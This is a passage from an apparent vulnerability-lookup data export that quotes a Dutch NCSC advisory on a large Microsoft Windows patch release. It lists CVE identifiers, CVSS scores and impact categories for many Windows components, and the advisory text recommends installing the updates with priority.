|\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:28.936857Z"}, {"uuid": "51a86a62-b1bb-4a16-b90d-482ea8ee2001", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54115", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| 